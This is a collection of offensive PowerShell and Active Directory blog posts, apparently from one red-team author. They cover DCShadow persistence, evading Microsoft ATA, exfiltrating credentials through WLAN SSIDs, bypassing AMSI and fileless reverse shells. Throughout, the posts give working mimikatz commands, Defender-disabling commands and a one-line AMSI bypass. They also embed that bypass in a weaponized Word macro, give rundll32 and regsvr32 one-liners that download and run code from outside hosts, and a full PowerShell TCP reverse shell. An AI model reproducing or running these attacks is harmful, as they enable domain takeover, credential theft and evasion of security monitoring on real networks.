DCShadow - Minimal permissions, Active Directory Deception, Shadowception and more

DCShadow is an awesome persistence technique introduced by Vincent and Benjamin at BluteHat IL and it can be executed with the help of mimikatz. 

In very simplified terms, DCShadow alters active directory schema (Configuration partition and SPN of the attacker machine) to mimic a domain controller. This "new" domain controller can then be used to push attributes (like SID History, Password History, SPNs etc.) and other data on domain objects for users, computers etc. Please visit dcshadow.com and above linked preso for more details. There are couple more interesting posts at ALSID blog and NOPSEC blog which are very useful in understanding DCShadow.

In this blog post, I make notes of some of the use cases of DCShadow and couple of experiments I did while using it. Please keep in mind that I am still playing with this technique :)

Executing DCShadow

Grab the latest build of mimikatz from its GitHub repo or Invoke-Mimikatz from Nishang. The attack must be executed from a domain joined machine and needs SYSTEM privileges on the machine and by-default, domain administrator (DA) privileges on the domain.

Please keep in mind that the SYSTEM requirement is for process context and not thread. I learnt this the hard way but thankfully, a very patient Vincent and the source code helped me out :)

So, here is how to use it:

1. Start mimikatz and use !processtoken (and not token::elevate - as it elevates a thread) to escalate to SYSTEM. Make sure to use !processtoken before opening another instance of mimikatz, This is the mimikatz instance where we will specify the target object and attributes to be modified.

2. Start another mimikatz with DA privileges. This is the instance which registers a DC and is used to "push" the attributes. 

We are now ready to use dcshadow. For example, use the below command from mimikatz running as SYSTEM to change userAccountControl value of a computer object. Mimikatz makes checks for validity of object and attributes which is awesome!

mimikatz # lsadump::dcshadow /object:ops-user19$ /attribute:userAccountControl /value:532480

To push the above attributes, run the below command from mimikatz running as DA.

mimikatz # lsadump::dcshadow /push

On the other mimikatz session, we can see the values are updated and RPC server is stopped.

Let's check the userAccountControl attribute of the computer object we modified.

PS C:\> ([adsisearcher]"(&(objectCategory=Computer)(name=ops-user19))").Findall().Properties.useraccountcontrol

Works like a charm with Invoke-Mimikatz as well.

 

Please keep in mind that even on a local machine with interactive access, Invoke-Mimikatz does not show the message of "RPC server started" until the push command is executed, probably because of output redirection issues.

DCShadow for Red Teams

Minimal permissions
DCShadow provides amazing persistence opportunities. Many well known ones as well as some new stuff, can be executed with it without leaving logs on the DC. While learning about it, I started wondering if there is a way to use DCShadow without DA privileges? Like most domain persistence methods, we do not need DA privileges all the time for DCShadow but only for setting it up. For using it later on, only a subset of permissions are required.

After spending much time reading MS documentations on MS-DRSR and MS-RPCE to understand the errors shown by mimikatz when not using DA and experimenting with permissions, I was able to segregate the permissions required for running DCShadow without having DA privileges!

What does that mean? That means, you need DA privileges just once to set up the required minimal permissions for user of your choice. That user can successfully run DCShadow against a specific object later on. What are the rights required?

Following (extended rights) for the domain object:
- DS-Install-Replica (Add/Remove Replica in Domain)
- DS-Replication-Manage-Topology (Manage Replication Topology)
- DS-Replication-Synchronize (Replication Synchornization)

We also need WriteProperty right on the computer object of machine which is used for attack (gets registered as a DC) to modify SPNs and the target object to modify attributes.

Lastly, CreateChild and DeleteChild permissions are required on the Sites object (and child objects) in the Configuration container to register and un-register a DC.

To automate modification of the objects, I give you Set-DCShadowPermissions.ps1 in Nishang, a PowerShell script which sets minimal permissions for executing DCShadow attack! Use the below command with DA privileges to set permissions for user "labuser" to modify permissions on computer object ops-user19 from the computer ops-user12. 

PS C:\> . C:\nishang\ActiveDirectory\Set-DCShadowPermissions.ps1
PS C:\> Set-DCShadowPermissions -FakeDC ops-user12 -Object "ops-user19" -Username labuser -Verbose

 

Now, the mimikatz command can be executed without DA privileges. Please note that the command output is same as when using DA (see the screenshots in the beginning of the post).

Neat isn't it! Append the -Remove parameter at the end of the above command for cleanup.

Note that logs (4662 for changes made to ACL of the domain object, 4742 for changes made to ACL of attacker's computer object and 4738 if the target is a user object)  are generated when you modify ACLs using Set-DCShadowPermissions but so is true for other methods required to persist with high privileges.

Once we have the permissions (or DA), we can use DCShadow for tons of interesting things. Let's have a look at some of them. Please note that I am going to use all of them without DA by modifying permissions using Set-DCShadowPermissions:

SIDHistory
Very useful, also mentioned in the DCShadow presentation. Set the SIDHistory of an account to a high privilege one like DA or EA group and we are all set for highest privileges without having to modify any Group Membership or ACL.

PS C:\> Set-DCShadowPermissions -FakeDC ops-user12 -Object helpdeskuser -Username labuser -Verbose

mimikatz # lsadump::dcshadow /object:helpdeskuser /attribute:SIDHistory /value:S-1-5-21-3270384115-3177237293-604223748-519

 
PrimaryGroupID
This too is from the preso. Change the primaryGroupID of an object to a high privileged one for higher privileges.

mimikatz # lsadump::dcshadow /object:helpdeskuser /attribute:primaryGroupID /value:519

There is a catch though, if this is used to change primaryGroupID of a user to a privileged group, that user may show up in listing of that group which is not really stealthy. Note that this listing in the group depends on the tool used for enumeration. For example, in the below screenshot, the user "helpdeskuser" shows up as a member of "Enterprise Admins" group when using net.exe (or Get-ADGroupMember from the activedirectory module) but not when using PowerView ;)

AdminSDHolder
Like the simpler attributes we modified above, it is possible to modify ACLs on objects using DCShadow by modifying the ntSecurityDescriptor attribute. This ability allows even more interesting stuff. For example, modifying AdminSDHolder ACL for persistence.

To use this, we need to read the existing SDDL on the AdminSDHolder container and add permissions for our user's SID. Quite similar to what I used in Set-RemoteWMI

PS C:\> (New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=offensiveps,DC=com")).psbase.ObjectSecurity.sddl

To add Full Control permission we can use permissions of the BA, DA or EA (highlighted in the above screenshot) and append our user's SID. The resulting below string needs to be added to the SDDL of AdminSDHolder.

(A;;CCDCLCSWRPWPLOCRSDRCWDWO;;;S-1-5-21-3270384115-3177237293-604223748-2111)

Use the below mimkatz command for DCShadow. Make sure you use the colon ":" for specifying values to parameters:

mimikatz # lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=offensiveps,DC=com /attribute:ntSecurityDescriptor /value:"O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;LCRPLORC;;;RU)(A;;CCDCLCSWRPWPLOCRRCWDWO;;;DA)(A;;CCDCLCSWRPWPLOCRRCWDWO;;;S-1-5-21-3270384115-3177237293-604223748-519)(OA;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;WD)(OA;CI;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(OA;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;PS)(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)(OA;;RPWP;5805bc62-bdc9-4428-a5e2-856a0f4c185e;;S-1-5-32-561)(OA;;RPWP;6db69a1c-9422-11d1-aebd-0000f80367c1;;S-1-5-32-561)(OA;;RPWP;bf967a7f-0de6-11d0-a285-00aa003049e2;;CA)(A;;CCDCLCSWRPWPLOCRSDRCWDWO;;;S-1-5-21-3270384115-3177237293-604223748-2111)"

DCShadow using DCShadow - Shadowception

Similar to above, we can also push DCShadow permissions using DCShadow.I call it Shadowception Why? Because it is fun :P We just need to push permissions listed above while introducing Set-DCShadowPermissions. The permissions required are:

On Domain object: (OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;YourUserSID)(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;YourUserSID)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;YourUserSID)

On attacker computer object: (A;;WP;;;YourUserSID)

On attacker user object: (A;;WP;;;YourUserSID)

On the Sites object in Configuration container: (A;CI;CCDC;;;YourUserSID)

Use the below mimikatz commands to set DCShadow permissions which can be used only from a particular computer as a specific user against a specific object - all of them specified in the commands. Please do not get intimidated with long commands, I have used exactly the same method as for AdminSDHolder - Copy the existing SDDL and append your own.

lsadump::dcshadow /stack /object:DC=offensiveps,DC=com /attribute:ntSecurityDescriptor /value:"Existing SDDL + Permissions for YourUserSID"

lsadump::dcshadow /stack /object:ops-user12$ /attribute:ntSecurityDescriptor /value:"Existing SDDL + Permissions for YourUserSID"

lsadump::dcshadow /stack /object:helpdeskuser /attribute:ntSecurityDescriptor /value:"Existing SDDL + Permissions for YourUserSID"

lsadump::dcshadow /stack /object:CN=Sites,CN=Configuration,DC=offensiveps,DC=com /attribute:ntSecurityDescriptor /value:"Existing SDDL + Permissions for YourUserSID"

lsadump::dcshadow

This is sweet! Now, if we maintain access to the computer and the user specified above, it is possible to modify the attributes of the specified object without leaving logs.

Setting SPNs on Admin Accounts for Kerberoasting

As explained by Sean here, in this technique we force set SPNs for admin accounts for later Kerberoasting. Kerberoasting, those of you who are unaware, is an attack technique where TGS (Ticket Granting Service) is requested for a SPN, saved to the disk and then brute-forced offline for password of the target SPNs service account. Thus if we can set SPN for a privileged account, it is possible to brute-force its password in clear-text using kerberoasting. To set SPNs for privileged account, we need high privileges, hence this is a persistence technique. Below command can be used to set SPN of a DA account using DCShadow:

mimikatz # lsadump::dcshadow /object:tempda /attribute:servicePrincipalName /value:"DCReplication/DC"

In addition to the above discussed, you can find your own attack. For example, I have not discussed setting TrustedForDelegation and TrustedToAuthForDelegation :) Go through the list of All AD attributes and find more interesting ones - https://msdn.microsoft.com/en-us/library/ms675090(v=vs.85).aspx

Defense
For defense, see dcshadow.com and UnCoverDCShadow. And limit the number of DAs and usage of DA credentials across your enterprise ;) A very good reference is Securing Privileged Access Reference Material.

 

DCShadow for Blue Team Deception

For past couple of months, I have been working a lot on using Deception for defense. I am liking Active Directory Deception because of its efficacy in providing alerts and increasing (at least) time costs to an adversary. While I will leave the details for another post and/or talk, one thing difficult for me when forging objects which are interesting for an attacker is editing some of the attributes of an object. For example, it is not easy to forge a computer object to make it look like a DC object. Multiple attributes and services must be set before a computer object "appears" to be a DC. There are some workarounds but that calls for another post or as I said a talk. So, DCShadow helps with forging a domain controller which looks more real. Of course, there is a lot of scope for improvement but I really like how it open up opportunities for blue teams.

A quick example is this. Suppose we want to make a member computer object "ops-user12" a DC. We can use the following (make sure you either have DA privs or set permission using Set-DCShadow permissions):

mimikatz # lsadump::dcshadow /object:ops-user12$ /attribute:primaryGroupID /value:516

Push the above

mimikatz # lsadump::dcshadow /object:ops-user12$ /attribute:userAccountControl /value:532480

Push the above

mimikatz # lsadump::dcshadow /manualregister

Use the above from mimikatz instance running as DA or modified permissions. Now, if an adversary enumerates your domain, this is what it looks like:

And this holds true for most of the red team tools (like PowerView which uses the .NET class in above screenshot) and even most of the WMI classes for domain enumeration like Win32_NTDomain and ds_computer of the directory\ldap namespace.

 

But this is still very experimental. We can easily note missing attributes from the fake DC, although that can be set. The thing which concerns me right now is if this breaks any authentication requests or other legit functioality. Because when using the "push" option of DCShadow, the registration and unregistration takes place quickly but when we are doing it manually what if some legit authentication requests are directed to the fake DC? I am hoping to find an answer of that soon.

I wish this use of DCShadow for deception triggers a community effort on using AD objects for deception :)

Problems
Some of the problems you may face while using DCShadow:

Insufficient Privileges
ERROR kuhl_m_lsadump_dcshadow_force_sync_partition ; IDL_DRSReplicaAdd
DC=whatever,DC=com 0x80090322 (2148074274)

If you get an error like above, make sure that mimkatz is running as SYSTEM (use !processtoken). Please refer to Executing DCShadow section above. 

Permission Errors
If you see an error during registration like  "Unable to add object via ldap". Then make sure that  you are "pushing" with DA privileges from mimikatz or you have set proper permissions. 

In some cases, when unregistration fails (see the video!), you may have to cleanup the object created in the CN=Servers in the Configuration Container and/or SPNs of the computer object which is registered as Fake DC. To clear SPNs I am using this simple command from the activedirectorymodule.

PS C:\> Set-ADComputer -ServicePrincipalNames $null -Identity ops-user12

PS C:\> Set-ADComputer -ServicePrincipalNames @{Add="WSMAN/ops-user12","WSMAN/ops-user12.offensiveps.com","TERMSRV/OPS-USER12","TERMSRV/ops-user12.offensiveps.com","RestrictedKrbHost/OPS-USER12","HOST/OPS-USER12","RestrictedKrbHost/ops-user12.offensiveps.com","HOST/ops-user12.offensiveps.com"} -Identity ops-user12

Here is a video showing the above attacks and deception.

Hope you enjoyed the post!

Week of Evading Microsoft ATA - Day 4 - Silver ticket, Kerberoast and SQL Servers

This is Day 4 of Week of Evading Microsoft ATA. The week has been split in the following days:

Day 1 - Introduction, detection and bypassing/avoiding Recon and Brute-force detection
Day 2 - Detection and bypass of overpass-the-hash and golden ticket

Day 3 - Bypasses/avoidance using more Kerberos attacks and attacks across trusts

Day 4 - Bypasses/avoidance by reducing conversation with the DC

Day 5 - Attacking ATA deployment, limitations of research and mitigation

Day 4 is dedicated to those attacks which need minimum and normal communication with the domain controller and thus ATA. That is, after bypassing ATA on first three days, today we will discuss how ATA can be avoided.

Silver Ticket

If get our hands on NTLM hash of a service account, it is possible to create a TGS (Ticket Granting Service) and present it to the service to get access. As we would be creating a TGS, there is no communication with DC. Read more about silver ticket attack in this post. Now, if we are not talking to the DC, ATA can't read the traffic and thus, there is no detection. As simple as that!

What intrigued me during testing was even if a silver ticket is used for a service running on the DC, ATA still won't detect it.  We can use the NTLM/RC4 hash of the DC's machine account for some very interesting services like CIFS, WMI, PowerShell Remoting. LDAP etc. Since we already have DA access on Day 2, the ability to create a silver ticket for the DC is a decent persistence mechanism.

Why a silver ticket is not detected even for the DC? I think ATA is currently interested only in authentication requests.

Kerberoast

Kerberoast attack involves requesting a TGS from the DC for a service, save the TGS (which is encrypted using the NTLM hash of the target service account) to a file and brute-force the NTLM hash. Read this and this article for more information.

The only communication with the DC is when the TGS is requested from the DC. The DC gets TGS requests all day and spotting an anomaly in such a regular request is, well, not easy.

Actually, there is a chance for detection based on anomaly. Remember the encryption type we discussed on Day 3? A TGS request with encryption type 0x17 (RC4) may be used as an indicator of a ticket request for Kerberoasting. How? Let's use the below code to request a TGS for a service:

PS C:\Users\labuser\Desktop>  Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/ops-sqlsrvone.offensiveps.com"

This is how it looks like in logs:

But there are many legit uses (legacy applications, service accounts, trusts etc.) which still use RC4, we can only hope that ATA starts detecting TGS requests using RC4 as malicious in a future release for those environments where AES is prevalent.

Kerberoast Variants

There are two Kerberoast variants which are helpful in active directory dominance.

AS-REP
Request a TGT for an account with Kerberos Pre-Authentication disabled (or force disable if we have sufficient rights), DC replies with TGT (AS-REP) which has a piece of information (emcrypted part) encrypted with the account's NTLM hash, save it to the disk and brute force offline. Please read this and this post for a detailed explanation.

ATA doesn't detect this. Is there any anomaly which can be seen? Yes!

After enumerating users with Pre-Auth disabled, send AS-REQ and receive AS-REP with encrypted part:

PS C:\Users\labuser\Desktop> Get-ASREPHash -UserName unixuser -Verbose

And this is how it looks like in Wireshark:

And this is how it is logged:

Hello RC4 we met again :)

As Will explains in this post, cracking AS-REP encrypted part which uses RC4 is much easier then the AES one so chances of an attacker using AES are not common. An anomaly, if ATA would like to spot it :)

Force SPN
If we have enough privileges, it is possible to set a user's SPN to anything, request a TGS for that made up SPN and then, brute-force the ticket offline.

Like in other TGS related attacks, a simple anomaly in this case could be use of RC4:

ATA doesn't detect it. ATA team commented that abnormal behaviour detection will catch this and AS-REP method when the brute-forced passwords are used to access a resource.

SQL Server

Targeting SQL servers and staying within the database server makes sure that there is no communication with the DC and therefore, avoids ATA. I wrote a post couple of months back on lateral movement within the database layer.

That is all for Day 4. Hope you enjoyed it!

Exfiltration of User Credentials using WLAN SSID

I was playing with Windows Hosted Network feature couple of days back. A hopefully useful idea which came to my mind was using the name of the hosted SSID for exfiltration. Since, SSID names support maximum 32 bytes the choice of data to exfiltrate is not really wide. Something like user credentials is small enough to fit in this limited space.

I wrote a PowerShell script which allows use to exfiltrate data using only SSID names. I give you Invoke-SSIDExfil.ps1. Here is the source code. This script provides for multiple options to exfiltrate data. Since, we are mostly after user credentials, the script uses logic from Invoke-CredentialsPhish to show a credentials prompt to the user to capture credentials in clear text. The captured credentials are then encoded using ROT13 (not going to call ROT13 encryption though that may be the technically correct term) and a Windows Hosted Network is created and started with SSID name set as to the encoded value in the form Domain:Username:Password. Below is the script in action. Please note that the script must be executed from an elevated shell:

PS C:\> Invoke-SSIDExfil -Verbose

And this is how  - if we are in physical proximity of the target - the SSID looks like:

Now, we can decode the user credentials using Invoke-SSIDExfil script's -Decode option.

Neat! From my past experience, such scripts are useful for impressive demonstrations.

The script can be used as a payload in targeted client side attacks, Human Interface Devices (Kautilya), authenticated command execution and other techniques.

Using the -StringToExfiltrate and -ExfilOnly parameters, it is also possible to exfiltrate a small piece of data without showing a credential prompt to the user.

An update to the Gupt-Backdoor

While working on this script, I revisited Gupt-Backdoor. That backdoor is quite impressive as well when it comes to demonstrations. I blogged about it here. An improvement to that backdoor has been added which allows to pass a one line PowerShell downloand and execute cradle for PowerShell v3 onwards. Also, ROT13 encoding has been implemented to make SSID names less suspicious. Below command can be used to start the backdoor on a target and tell that an encoded command will be provided to it:

PS C:\> Gupt-Backdoor -MagicString op3n -EncodedCmd -Verbose

And this is how a Wireless AP can be started to send instructions to the backdoor.

And the execution looks like below. The backdoor downloads and executes Get-WLAN-Keys from Nishang:

Small but useful improvements!

Hope you enjoyed the post! Please leave feedback and comments.

AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It

Update (23-Dec-2016) - I have implemented the publicly known AMSI bypasses described in this post in a PowerShell script Invoke-AmsiBypass. Check it out here https://github.com/samratashok/nishang/blob/master/Bypass/Invoke-AmsiBypass.ps1


Last month I gave a talk about Microsoft's AntiMalware Scan Interface (AMSI) at Black Hat USA. The talk and this post details my experiments with AMSI.

I first encountered AMSI while using some of the PowerShell scripts from Nishang on a Windows 10 box in my lab. I noticed that some of the scripts didn't work even if loaded from memory which was very interesting. Being a long time user of PowerShell in my pen tests, I was interested in the technique being used to detect scripts from Nishang in memory. After a quick search, I stumbled upon this excellent TechNet article which introduces AMSI. From that article, this article and documentation of AMSI, following detection abilities and features are claimed with AMSI:

• Memory and Stream scanning. This means that the input method - disk, memory/stream or manual input makes no difference on the detection capabilities.
• Scripts are submitted to the AntiVirus/AntiMalware product by AMSI when the de-obfuscated plain code is presented to the script host. This means that obfuscation should help only to a limited extent.
• Since the scripts are "picked up" when submitted to the scripting host, code which doesn't utilize powershell.exe but uses System.Automation DLL will also be analyzed.

And when I tested AMSI with different tools and techniques, detection rate was indeed better than what I expected.

Major techniques which were tested and detected by AMSI:

Executing scripts from memory - Using the -EncodedCommand parameter of powershell.exe and the famous one liner download-execute.

Execution of everyone's favorite, Invoke-Mimikatz:
When AMSI was disabled:

PS C:\> Set-MpPreference -DisableIOAVProtection $true

When AMSI was enabled (default on Windows 10):

Executing scripts without using powershell.exe - Using separate runspace (p0wnedshell, psattack) and using System.Automation.Dll (nps, Powerpick)

Unusual Storage - Scripts loaded from WMI namespaces, Registry Keys and Event Logs.

Application whitelisting bypass methods - InstallUtil, regsrv32 and rundll32

All of the techniques were detected by AMSI! While the detection was no surprise given that AMSI steps in at the script host level, still, this looked intimidating! More so because Windows Defender supports AMSI by default on Windows 10.  I quickly started looking for different ways to avoid or bypass AMSI.  Turned out that there are bunch of techniques that can be used to bypass or avoid AMSI.

Bypass or Avoid AMSI

Force use PowerShell v2: PowerShell v2 doesn't support AMSI at the time of writing. If .Net 3.0 is available on a target Windows 10 machine - which is not default - PowerShell v2 can be started  with the -Version option.

 

Obfuscation

Another interesting way is to change the signature of the PowerShell script so that the AntiVirus to which AMSI submits our script doesn't detect it as malicious. To play with the signatures Windows Defender have for scripts, lets play with one of the scripts from Nishang, Gupt-Backdoor, which gets detected as malicious by AMSI.

Lets remove the help section, all the functionality and replace the function and variable names with random strings.

 And the result is:

Apparently, among other things, Windows Defender looks for specific function and variable names. Actually, this should not be a surprise as I know of few antiviruses which use Twitter handles of PowerShell hackers as a signature.

Manual obfuscation of a huge script such as Invoke-Mimikatz could not be done manually. Fortunately, the obfuscate functionality of the awesome ISE-Steroids module is very effective! Lets obfuscate Invoke-Mimikatz from Nishang.

Now, when the obfuscated version is loaded, there is no detection.

Bingo!

Make sure that the function calls are made from the script before obfuscation. 
This is very interesting! As per the articles mentioned at beginning of this post, AMSI has additional calls if any sort of obfuscation, even base64, is used in the script.This obfuscation getting past AMSI has been a sort of mystery for me.This probably has more to do with the signatures available with Windows Defender than with AMSI. I welcome comments on this specific thing as I am unable to understand why Invoke-Mimikatz was not detected if the plain de-obfuscated code was submitted to AMSI.

Unload AMSI

Set-MpPreference
This built-in cmdlet can be used to make AMSI ineffective by disabling protection offered by Windows Defender.

Below command can be used to disable real time monitoring for Windows Defender

PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true

There are some 'gotchas' with the technique though:

• A notification is shown to the user
• Needs to be run from an elevated shell
• Event ID 5001 (Microsoft-Windows-Windows Defender/Operational) - Windows Defender Real-Time Protection was disabled.

Another command can be used, this is useful for avoiding detection of in-memory download execute one liner.

PS C:\> Set-MpPreference -DisableIOAVProtection $true

This command doesn't show any notification to the user but:

• An elevated shell is still required and;
• Event ID 5004 (Microsoft-Windows-Windows Defender/Operational)  - Windows Defender Real-Time Protection feature (IE Downloads and Outlook Express attachments) configuration has changed.

DLL Hijacking - Method used in p0wnedshell

Cornelis de Plaa (@Cneelis) discovered this brilliant method and implemented it in his awesome p0wnedshell. There is a detailed blog post about the method. It is a DLL hijacking method where amsi.dll is dropped in the current working directory while loading the p0wnedshell runspace. The dll is loaded by the runspace and exits immediately to unload AMSI. 

So p0wnedshell successfully bypasses AMSI. But there is another interesting part of the security mechanism, PowerShellv5 supports automatic script block logging. The scripts loaded by p0wnedshell generate Event ID 4104 (Microsoft-Windows-PowerShell/Operational) – Suspicious script block logging (due to successful loading of scripts in memory).

Reflection - Matt Graeber's method
Matt Graeber (@mattifestation) tweeted an awesome one line AMSI bypass. Like many other things by Matt, this is my favorite. It doesn't need elevated shell and there is no notification to the user but the automatic script block logging, like in the case of p0wnedshell, generates Event ID 4104. Turns out that it is the script block logging which is the real headache. There are a bunch of script logging bypasses I am aware of, discovered by other PowerShell hackers, but not public yet.

PS C:\> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Anyway, I like this method because it can be used with existing PowerShell script execution methods.
For example, lets bypass AMSI using a client side attack and get a meterpreter on the target Windows 10 box. Lets generate a weaponized MS Word document using Nishang's Out-Word and instruct it to download and execute a PowerShell meterpreter.

PS C:\test> Out-Word -Payload 'powershell.exe -ExecutionPolicy Bypass -noprofile [Ref].Assembly.GetType(''System.Management.Automation.AmsiUtils'').GetField(''amsiInitFailed'',''NonPublic,Static'').SetValue($null,$true);iex(New-Object Net.WebClient).DownloadString(''http://192.168.230.1/msfpayload.ps1'')' -RemainSafe

As soon as a target opens the Word file and click on "Enable Content", this happens:

Sweet! We bypassed AMSI in a client side attack!

AMSI is certainly not the security silver bullet which many organizations (wrongly) keep looking for but it is indeed an improvement in Windows security.

My slides for the Black Hat preso are here:
http://www.slideshare.net/nikhil_mittal/amsi-how-windows-10-plans-to-stop-scriptbased-attacks-and-how-well-it-does-it

AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It from Nikhil Mittal

Hope this was useful. Please leave feedback and comments!

Practical use of JavaScript and COM Scriptlets for Penetration Testing

I have been following Casey Smith's brilliant work on JavaScript and COM Scriptlets. After looking at his work, I started playing with the code. I was interested in developing easy and customizable ways to use JavaScript, SCT files, rundll32 and regvr32 for...well...interesting things. After using some weeknights and weekends, I give you following PowerShell scripts (all available in Nishang):

 

Invoke-JSRatRundll

Based on JSRAT by Casey, Invoke-JSRatRundll uses rundll32.exe to execute JavaScript on a target which provides a Reverse PowerShell Shell over HTTP. Why? Because it is so cool. Also, it is file-less, the client part is just a single command and most importantly, another method to pwn targets :) The script and the client part are intelligent enough to figure out if there is a proxy in use and also to use first proxy from multiple proxies from Internet Explorer settings. Also, based on the method mentioned here, Invoke-JSRatRundll doesn't leaver rundll32.exe running on the target, when "exit" command is used from the spawned reverse shell, so a clean exit. 

The listener, on the attacker's machine, needs to be run from elevated PowerShell session.

This is how it looks like in action:

Start the listener

The above listener provides the following command to be run on a target. Please note that will need to remove newlines:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");w=new%20ActiveXObject("WScript.Shell");try{v=w.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet%20Settings\\ProxyServer");try{q=v.split("=")[1].split(";")[0];h.SetProxy(2,q);}catch(e){h.SetProxy(2,v);}}finally{h.Open("GET","http://54.93.72.226:8080/connect",false);h.Send();B=h.ResponseText;eval(B)}

When the command is executed on the target:

We get a connect back on the listener:

Nice! A proxy aware,  file-less, Reverse PowerShell Session.

The client part (one-line command) can be used whenever we have the ability to execute a command on the target. Below is an example of using the client part with Out-Word from Nishang. Note that the the double quotes in client part need to be escaped by using double-quotes two times.

When a target user opens the Word file and chooses to enable Macros, the listener will receive a connect back from the target machine. Bingo!

One thing to note in Invoke-JSRatRundll is that a window pops-up temporarily whenever a command is executed on the target. It is because of the use of Exec method of WScript. The Run method which provides for silent execution could not be used as it did not return the output without storing the output temporarily somewhere on the target.

 

Invoke-JSRatRegsvr

This script utilizes regsvr32.exe for providing a Reverse PowerShell session over HTTP. Use of regsvr32, the technique which has been termed as "Squiblydoo", has added benefits. regsvr32.exe takes care of proxy by itself, the execution is file-less and AFAIK, leaves no traces on the target after a clean exit. 

The listener needs to be run from an elevated PowerShell on the attacker's machine. This is how it looks like in action:

 The above listener provides the following command to be run on the target:

regsvr32.exe /u /n /s /i:http://54.93.72.226:80/file.sct scrobj.dll

As soon as the command is executed on a target, using a client side attack, or any other method:

Great!

This script also shows a window momentarily on the target machine for the same reason as Invoke-JSRatRundll

 

Out-RundllCommand

Use this script to generate rundll32.exe one line commands. The generated command can be used on a target to run PowerShell commands and scripts or a reverse PowerShell session over TCP.

Here is how to generate a command. 

Now, if the rundll32 command is executed on a target using client side attack or other methods, the payload will get executed.

During testing it was not possible to execute larger scripts (specially the encoded ones due to the increased length). The added advantage with this script is it can be used with a simple netcat listener on a Linux machine as well. There is no need to run a special listener unlike in the above two scripts.

Start a netcat/Powercat listener. Run Out-RundllCommand with the -Reverse switch:

 When the generated rundll32 command is executed on the target:

Nice!

Also, the execution is silent on the target machine. Please note that this script leaves rundll32.exe running on the target machine.

 

Out-JS

This script is useful for client side attacks. Using this script, we can create "weaponized" JavaScript files which can be sent to a target user to execute PowerShell scripts and commands. Once a user executes the file (a double click opens the file using Windows Script Host, wscript.exe), the specified payload gets executed on the target with the privileges of the current user. The default name of the generated file is Style.js. 

Once again, it was not possible to execute large scripts, therefore, there is no option of specifying a script path. An example is included in the script to execute a reverse PowerShell session over TCP.

Out-JS -Payload "`$sm=(New-Object Net.Sockets.TCPClient('192.168.230.154',443)).GetStream();[byte[]]`$bt=0..65535|%{0};while((`$i=`$sm.Read(`$bt, 0, `$bt.Length)) -ne 0){;`$d=(New-Object Text.ASCIIEncoding).GetString(`$bt,0, `$i);`$sb=(iex `$d 2>&1 | Out-String );`$sb2=`$sb + 'PS ' + (pwd).Path + '> ';`$sb=([text.encoding]::ASCII).GetBytes(`$sb2);`$sm.Write(`$sb,0,`$sb.Length);`$sm.Flush()}"

Out-SCT

This script generates a SCT file which can be used with regsvr32.exe to execute PowerShell scripts and commands. The default name of the generated file is UpdateCheck.xml. This file needs to be hosted on a web server and the one-liner regsvr is to be executed on the target.  Note that, in case a PayloadURL is provided, two connections are made from the target environment. This first one to pull the SCT file and the second one to download the PowerShell script.

Like Out-JS only small scripts can be executed using Out-SCT. An example is included in the help of this script which explains usage of a Reverse PowerShell session over TCP without having to download a script. 

Usage with metasploit

Some of the above scripts can be used to get a meterpreter session in the following ways:

Create a PowerShell meterpreter payload using msfvenom:

Host the generated payload on a web server.

Using Out-SCT
Pass the URL where meterprer PowerShell script is hosted to Out-SCT.

Now, host the generated SCT file on a web server. When the generated regsvr32 command is executed on a target, this will happen:

Awesome! A reverse HTTPS meterpreter from a file-less execution which is also helpful in avoiding Applocker!

Using Out-JS
Pass the URL to Out-JS.

When the generated Style,js is executed on a target, we will get a connect back on msfconsole!

Using Out-RundllCommand
Pass the URL to Out-RundllCommand.

Once again, when the generated rundll32 command is executed on a target, a meterpreter will pop-up in the msfconsole.

That is all for this post, all the scripts are available in the GitHub repository of Nishang. Hope you liked it. Please leave feedback and comments.

Join me for a two days training "Offensive PowerShell for Red and Blue Teams" at Shakacon, Honolulu (2 days - July 11th - 12th, 2016) - https://www.shakacon.org/trainings/offensive-powershell-for-red-and-blue-teams-by-nikhil-mittal/

References/Further Readings
Casey and some of his work:
https://twitter.com/subTee
http://subt0x10.blogspot.in/2016/04/setting-up-homestead-in-enterprise-with.html
https://github.com/subTee/SCTPersistence
https://gist.github.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302

Detailed blog on JSRAT
http://en.wooyun.io/2016/01/18/JavaScript-Backdoor.html

Defenses against regsvr32:
http://www.brimorlabsblog.com/2016/04/very-quick-blog-post-on-squiblydoo.html
https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET#blocking-the-regsvr32-application-whitelisting-bypass-technique